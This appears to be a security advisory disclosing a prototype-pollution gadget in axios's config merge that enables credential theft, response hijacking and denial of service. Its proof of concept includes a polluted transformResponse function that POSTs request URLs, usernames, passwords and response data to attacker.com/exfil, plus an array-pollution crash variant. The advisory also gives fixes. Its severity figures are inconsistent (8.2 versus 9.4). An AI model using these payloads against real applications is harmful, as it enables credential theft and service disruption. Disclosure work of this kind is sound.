axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge

Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.

Proof of Concept of Attack

import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.

Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.

The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSS 3.1

Score: 9.4 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H

Relationship to GHSA-fvcv-3m26-pcqx

This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.

The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype.transformResponse = function(data, headers, status) {
  // Steal credentials via this context (this = full request config)
  if (this && this.url && typeof data === 'string') {
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify({
        url: this.url,
        username: this.auth?.username,
        password: this.auth?.password,
        responseData: data,
      })
    });
  }
  return true;  // MUST return true to pass assertOptions validator check
};

Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
  auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});

3. The Execution

Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:

utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
  // 'transformResponse' is in config1 (defaults) → included in keys
  const merge = mergeMap[prop];  // → defaultToConfig2
  const configValue = merge(config1[prop], config2[prop], prop);
  // config2['transformResponse'] traverses prototype → finds polluted function!
});

The polluted function then executes at transformData.js:21:

data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)

4. The Impact

Attacker receives at https://attacker.com/exfil:

{
  "url": "https://api.internal/users",
  "username": "svc-account",
  "password": "prod-secret-key-123!",
  "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}

The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.

5. DoS Variant

// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes

Verified PoC Output

Step 1 - Normal behavior (before pollution):  
    Default transformResponse function name: "transformResponse"

Step 2 - Polluting Object.prototype.transformResponse:  
    Function replaced by attacker: true

Step 3 - Simulating dispatchRequest transformResponse:  
    Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}  
    After malicious transform: true  
    Response tampered: true

Step 4 - Exfiltrated data:  
    Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}  
    Request URL: https://internal-api.corp/secrets  
    Authentication info: {"username":"admin","password":"P@ssw0rd123!"}

Impact Analysis

• Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
• Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced.
• Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
• Denial of Service: Polluting with a non-function value crashes every request.
• Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.

Limitations (Honest Assessment)

• Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
• Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions
• This is in-process JavaScript function execution, not OS-level RCE

Recommended Fix

Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:

// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
    return getMergedValue(undefined, b);
  } else if (!utils.isUndefined(a)) {
    return getMergedValue(undefined, a);
  }
}

Additionally, validate that transformResponse contains only functions before execution:

// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
  if (typeof fn !== 'function') {
    throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
  }
  data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});

Resources

• CWE-1321: Prototype Pollution
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
• Axios GitHub Repository
• Snyk: Prototype Pollution

Timeline